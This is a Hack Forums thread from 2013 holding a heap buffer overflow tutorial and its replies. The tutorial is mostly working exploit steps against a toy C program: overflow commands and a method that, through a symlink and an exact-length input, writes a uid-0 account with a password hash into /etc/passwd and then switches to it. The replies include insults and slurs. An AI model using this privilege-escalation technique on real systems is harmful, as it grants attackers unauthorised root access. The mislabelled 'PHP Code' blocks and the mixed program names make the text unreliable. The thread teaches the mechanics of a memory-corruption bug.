

Forum:[Hack Forums](#)

Thread: [Antagonism | Heap Overflow](#)

-?Divine- - June 25, 2013, 5:54 pm

This tutorial assumes that you are not a beginner in all of this. If you are, refer to my previous threads and study them before proceeding.

Stack buffer overflows have truly gotten so much attention. They've gotten very famous, and with a good reason, but that is also why that vulnerability is often detected. Today we will be looking at one that is a little less known (compared to stack buffer overflows) but just as deadly and more often overlooked. Heap Buffer Overflow.

So let's begin with heap. Heap is memory that is used for dynamic allocation. In C, we will be using malloc() and calloc() to do so. Today, we will be exploiting a program that allocates two buffers in heap next to each other. By overwriting the boundaries of the first one, we will set foot in the second one.

PHP Code

```
<?php
#include <stdio.h>

int main(int argc, char *argv[]) {
FILE *heap;
char *input=malloc(30);
char *out=malloc(30);
strcpy(out, "/tmp/VULN");
strcpy(input, argv[1]);

printf("Input is: %s\n", input);
printf("Writing to: %s\n", out);

heap=fopen(out, "a");
fprintf(heap, "%s\n", input);
fclose(heap);
return 0;
}
```

Alright, let's take a look at what this does. First we create two variables and set their boundaries. First variable is input and via strcpy() we fill it with user input. Second variable is out and it is assigned to /tmp/VULN which is just output file to which we will write our input. Then /tmp/VULN is opened for appending and user input is written to it. So basically, all this program does is writes user input to a file.

PHP Code

```
<?php
printf("Input is: %s\n", input);
printf("Writing to: %s\n", out);
```

This part is here only for debugging purposes. It tells us what the content on input and out is.

Alright, so let's begin by compiling.

PHP Code

```
<?php  
gcc -o heap heap.c
```

Run it supplying anything as input.

PHP Code

```
<?php  
./heap Dongs
```

We've successfully written "Dongs" to /tmp/VULN. Now, let's supply it with a greater value.

PHP Code

```
<?php  
./heap `python -c 'print "A"*50`
```

You can see that we've written over the first variable into the second one, and that our output no longer is /tmp/VULN but a file named "AA". It took us 40 A's to fill the first variable. But let's cat the file to see how many A's there are.

PHP Code

```
<?php  
cat AA
```

We can see that all 50 A's got stored. Why is that? Because the whole input is the first variable. We've overflowed its boundaries.

So, by the looks of it, at 40 A's we get an overflow. Let's try:

PHP Code

```
<?php  
./vuln `python -c "print "A"*40`
```

A segmentation fault. That's weird. It should be able to hold all 40 bytes, but we get a segmentation fault. Why is that? Because at the end of our input a null byte is added which acts as a line terminator. Meaning that with 39 bytes, the program should function normally.

That's all pretty nice, but we want a shell. If the program had suid, we could manipulate it to write to anything! Therefore, in theory, we should be able to write to /etc/shadow or /etc/passwd to create a new root account.

As easy as this sounds in theory, it's not so nice in practice. As everything supplied will be written to a file of our choosing including it's path. And these files don't like mistakes in them, so we have to be careful. Let's go one step at a time. Let's first try to write something to a custom file.

PHP Code

```
<?php
./vuln `python -c 'print "he"*20+"/tmp/lol"'`
```

(I've switched to another user)

Alright, we've successfully broken the variable into the correct place. Now let's look at the what we have written.

PHP Code

```
<?php
cat /tmp/lol
```

The path at the very end (/tmp/lol) is also inside it. This is not acceptable when writing to /etc/shadow or /etc/passwd. Meaning that we have to somehow refer to both something that would be acceptable in it, and to the output file as well. Sounds impossible? Links.

By creating a symbolic link to /bin/bash in directory /tmp/etc with name passwd we can pull it off. As the format of /etc/passwd says that the last part of it contains absolute path to the shell.

Alright, we can write to /etc/passwd, but if we make an account without a password, it would just be locked. And passwords are stored in /etc/shadow.. Right?

It's :x: in /etc/passwd that says that encrypted passwords are stored in shadow. If instead of x, we put our encrypted password, it will work just fine.

So let's begin with this.

Also, keep in mind that the length of the input must be precise! You can modify the length by messing with account username or with path to the shell.

PHP Code

```
<?php
cd /tmp
mkdir lel
cd lel
mkdir etc
cd etc
ln -s /bin/bash passwd
```

Alright, now let's follow the format of /etc/passwd to craft our string:

PHP Code

```
<?php
```

```
divine:2PYyGlrrmNx5.:0:0::/root:/tmp/lel/etc/passwd
```

Username is divine, password is 3 and path to shell is /tmp/lel/etc/passwd (that points to /bin/bash).

Now, notice the length. 40 bytes (which is exactly how much we need) end exactly before /etc/passwd begins, meaning that this whole strings gets written to it!

PHP Code

```
<?php
```

```
./heap divine:2PYyGlrrmNx5.:0:0::/root:/tmp/lel/etc/passwd
```

Very good. Now let's take a look at /etc/passwd

PHP Code

```
<?php
```

```
cat /etc/passwd
```

We've written to it successfully.

Alright, let's su to our newly created user.

PHP Code

```
<?php
```

```
su divine
```

```
(password is "3")
```

That's it for today. I'll be talking more about heap overflows in future. Tutorial dedicated to [Dyme](#) who has had his account opened and then closed the next day. While you're at it, read the [Legend of Dyme](#).

SoLong - June 25, 2013, 5:55 pm

Nice tutorial, didn't actually go through the entire thing but it seems nice as all of your tutorials.

Heap overflows > stack overflows imho

-?Divine- - June 25, 2013, 6:02 pm

(Jun 25, 2013 05:55 PM)puli Wrote: [\[CITE\]](#) Nice tutorial, didn't actually go through the entire thing but it seems nice as all of your tutorials.

Heap overflows > stack overflows imho

Thanks. I'll be making more on heap in future.

Skorp - June 25, 2013, 6:05 pm

Written and performed well, i prefer a jump to libc attk.

dookiedong - June 25, 2013, 6:26 pm

(Jun 25, 2013 06:05 PM)Skorp Wrote: [\[CITE\]](#) Written and performed well, i prefer a jump to libc attk.

Do you have any idea about what the fuck you're talking about.

Skorp - June 25, 2013, 6:28 pm

dookiedong Wrote:Do you have any idea about what the fuck you're talking about.You sir are a HQ member, you deserve all the knowledge in the world, you know everything. Hats off.

[\(Click to View\)](#)*sarcasm*

dookiedong - June 25, 2013, 6:40 pm

(Jun 25, 2013 06:28 PM)Skorp Wrote: [\[CITE\]](#) You sir are a HQ member, you deserve all the knowledge in the world, you know everything. Hats off.

[\(Click to View\)](#)*sarcasm*

I'm not saying I know everything; I'm just pointing out that your post made absolutely no sense in or outside of context, giving me the impression that you know nothing about memory corruption vulnerabilities.

Skorp - June 25, 2013, 6:56 pm

Last post i will make, i don't want to ruin my friends thread.

dookiedong Wrote:giving me the impression that you know nothing about memory corruption vulnerabilities.

You sound/look really stupid right now sir, first talk and make sense before throwing your opinions out there "Mr. dookiedong." Next time, don't assume i'm talking about what you are "thinking" on what i am talking about. Bye.

A hint on what i'm actually talking about: [\(Click to View\)](#) arbitrary code

-?Divine- - June 25, 2013, 7:20 pm

Keep it on the topic guys. Wouldn't want staff junking the thread :)

n3xus - June 25, 2013, 7:26 pm

(Jun 25, 2013 06:05 PM)Skorp Wrote: [\[CITE\]](#) Written and performed well, i prefer a jump to libc atk. Man, I know its cool and all to drop technical terms and whatnot, but he's talking about a heap overflow, not a stack overflow.

-?Divine- - June 25, 2013, 8:10 pm

(Jun 25, 2013 07:26 PM)n3xus Wrote: [\[CITE\]](#) Man, I know its cool and all to drop technical terms and whatnot, but he's talking about a heap overflow, not a stack overflow.

I'm unsure, but I think Skorp was saying that he preferred ret2libc stack overflow over heap overflows. My personal favorite method of stack overflows is ret2tard.

glob - June 25, 2013, 8:56 pm

Error in the thread I believe.

Shouldn't this:

PHP Code

```
<?php
```

```
./heap `python -c "print "A"*50`
```

be this

PHP Code

```
<?php
```

```
./heap `python -c 'print "A"*50`
```

-?Divine- - June 25, 2013, 8:58 pm

(Jun 25, 2013 08:56 PM)CATALYsT Wrote: [\[CITE\]](#) Error in the thread I believe.

Shouldn't this:

PHP Code

```
<?php
```

```
./heap `python -c "print "A"*50`
```

be this

PHP Code

```
<?php
```

```
./heap `python -c 'print "A"*50`
```

Yus changed dem pythanz. Thanks for notifying.

kawaii - June 25, 2013, 9:59 pm

(Jun 25, 2013 06:56 PM)Skorp Wrote: [\[CITE\]](#) You sound/look really stupid right now sir, first talk and make sense before throwing your opinions out there "Mr. dookiedong." Next time, don't assume i'm talking about what you are "thinking" on what i am talking about. Bye.

A hint on what i'm actually talking about: [\(Click to View\)](#) arbitrary code

You're clearly retarded. Dookiedong is quite correct, it's quite clear that the OPs knowledge on the subject is "fairly" limited.

-?Divine- - June 25, 2013, 11:38 pm

(Jun 25, 2013 09:59 PM)Escrow Wrote: [\[CITE\]](#) You're clearly retarded. Dookiedong is quite correct, it's quite clear that the OPs knowledge on the subject is "fairly" limited.

I am the OP, not Skorp. And if you meant me on purpose, explain yourself.

Keeper - June 26, 2013, 2:21 am

(Jun 25, 2013 07:20 PM)-?Divine- Wrote: [\[CITE\]](#) Keep it on the topic guys. Wouldn't want staff junking the thread :)

That ain't happening for the world. I have personally informed staff of some real trash threads around here and no action had been taken so how can you imagine a tutorial like this being junked?

Cathal - June 26, 2013, 2:43 am

(Jun 26, 2013 02:21 AM)Keeper Wrote: [\[CITE\]](#) That ain't happening for the world. I have personally informed staff of some real trash threads around here and no action had been taken so how can you imagine a tutorial like this being junked?

Vince is gone, were all fucked now.

VipVince - June 26, 2013, 4:00 am

(Jun 26, 2013 02:21 AM)Keeper Wrote: [\[CITE\]](#) That ain't happening for the world. I have personally informed staff of some real trash threads around here and no action had been taken so how can you imagine a tutorial like this being junked?

Sadly this section seems to be more over looked than other sections.

-?Divine- - June 26, 2013, 9:02 am

The amount of off topic posts is too damn high. Keep it to the topic guys.

Downloading... - June 26, 2013, 10:35 am

(Jun 26, 2013 09:02 AM)-?Divine- Wrote: [\[CITE\]](#) The amount of off topic posts is too damn high. Keep it to the topic guys.

Yeah, did I tell you I love pancakes?

Off topic :

Great tutorial! As always :D .

HaxOr? - June 26, 2013, 10:38 am

Nice tutorial dude! <3

Keep it up...

Nyckel - June 26, 2013, 12:24 pm

Really nice tutorial you got here. Explains the logic behind the attack as well, which is what really makes it better than most.

Cmiyc - June 27, 2013, 2:51 am

Amazing tutorial. Keep it up, ignore these LQ members.

-?Divine- - October 9, 2013, 9:58 pm

(Jun 27, 2013 02:51 AM)Cmiyc Wrote: [\[CITE\]](#) Amazing tutorial. Keep it up, ignore these LQ members.

There was nothing LQ in it. Some people just love expressing their homosexual affections over the internet. Hah, such weirdos.

Keeper <3

BeggFoMercy - October 22, 2013, 6:10 pm

Enjoyed reading it , Pretty well Explained , Keep it up .

IINoMercyll - October 23, 2013, 3:43 am

nice tutorial man.

A++

35 chars(

-?Divine- - October 24, 2013, 4:41 am

I'm glad both of you liked it, and I certainly hope that you took time to read it as well. Most people don't.

pashabiceps - April 6, 2016, 2:22 pm

Why is everyone bashing the 'jump to libc attack' comment regarding heap buffer overflows? It's definitely possible ;)

Mekkay - April 8, 2016, 5:25 am

thank you guys I wish you continued success :)

chillingwitha9 - April 8, 2016, 9:09 am

(Apr 8, 2016 05:25 AM)Mekkay Wrote: [\[CITE\]](#) thank you guys I wish you continued success :)stop commenting the same shit on every thread you fucking loser